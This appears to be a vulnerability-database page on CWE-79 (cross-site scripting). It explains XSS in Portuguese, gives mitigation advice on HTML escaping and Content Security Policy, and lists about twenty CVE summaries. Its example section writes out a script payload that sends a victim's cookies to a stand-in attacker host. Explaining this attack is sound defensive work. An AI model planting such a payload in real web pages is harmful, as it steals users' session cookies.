Fallos del tipo CWE-79

30.259 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-62653LOWStored XSS through system messages in PollNYEPSS 0.3%CVE-2024-41875MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.3%CVE-2025-23658HIGHWordPress Advanced Angular Contact Form plugin <= 1.1.0 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-24389MEDIUMA cross-site scripting (XSS) vulnerability in XunRuiCMS up to v4.6.2 allows attackers to execute arbitrary web scripts or HTML via a craftedEPSS 0.3%CVE-2025-23568HIGHWordPress WP Login Attempt Log plugin <= 1.3 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-41844MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.3%CVE-2026-44721HIGHOpen WebUI: Stored XSS via Model DescriptionEPSS 0.3%CVE-2024-41845MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.3%CVE-2023-5451MEDIUMForcepoint NGFW Security Management Center Management Server has SMC Downloads optional feature to offer standalone Management Client downEPSS 0.3%CVE-2024-47050MEDIUMXSS in contact/company tracking (no authentication)EPSS 0.3%CVE-2024-37264HIGHWordPress Groundhogg plugin <= 3.4.2.3 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-5889MEDIUMEvents Manager <= 6.4.8 - Reflected Cross-Site ScriptingEPSS 0.3%CVE-2024-37258HIGHWordPress Social Rocket plugin <= 1.3.3 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-8728MEDIUMEasy Load More <= 1.0.3 - Reflected Cross-Site ScriptingEPSS 0.3%CVE-2024-45458HIGHWordPress Spiffy Calendar plugin <= 4.9.13 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-23571HIGHWordPress Internal Links Generator plugin <= 3.51 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-13349MEDIUMStockdio Historical Chart <= 2.8.18 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2025-23474HIGHWordPress Live Dashboard plugin <= 0.3.3 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-23742HIGHWordPress Podamibe Twilio Private Call plugin <= 1.0.1 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-13470MEDIUMNinja Forms – The Contact Form Builder That Grows With You <= 3.8.24 - Authenticated (Contributor+) Stored Cross-Site Scripting via ShortcodeEPSS 0.3%